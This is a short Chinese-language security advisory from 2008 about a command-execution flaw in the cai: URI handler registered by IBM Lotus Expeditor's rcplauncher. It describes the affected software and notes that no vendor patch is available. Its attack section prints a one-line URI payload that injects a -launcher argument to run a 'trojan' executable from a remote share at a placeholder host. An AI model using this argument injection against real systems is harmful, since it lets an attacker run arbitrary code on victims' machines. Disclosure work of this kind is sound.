| IBM Lotus Expeditor URI处理器命令执行漏洞 (Other,缺陷) |
| |
| 涉及程序： |
| Lotus Expeditor |
| |
| 描述： |
| IBM Lotus Expeditor URI处理器命令执行漏洞 |
| |
| 详细： |
Lotus Expeditor之前名为IBM WebSphere Everyplace Deployment，是用于创建、部署和维护各种应用的管理客户端。
Lotus expeditor中的rcplauncher（由lotus symphony套件安装）进程注册了一个cai: uri处理器。由于rcplauncher进程会接受各种参数，因此可能被滥用执行任意代码。例如，-launcher选项参数会执行可执行程序。
<*来源：Thomas Pollet
链接：http://marc.info/?l=full-disclosure&m=120904651132048&w=2
*>
受影响系统：
IBM Lotus Expeditor
|
| |
| 攻击方法： |
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
cai:"%20-launcher%20\\6.6.6.6\d$\trojan
|
| |
| 解决方案： |
厂商补丁：
IBM
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www-128.ibm.com/developerworks/lotus/products/expeditor/
|
| |
| 附加信息： |
| 无 |
| |
| 发布时间：2008年4月28日 |
返回 |
| 版权所有，如需转载，请与安络联系 |
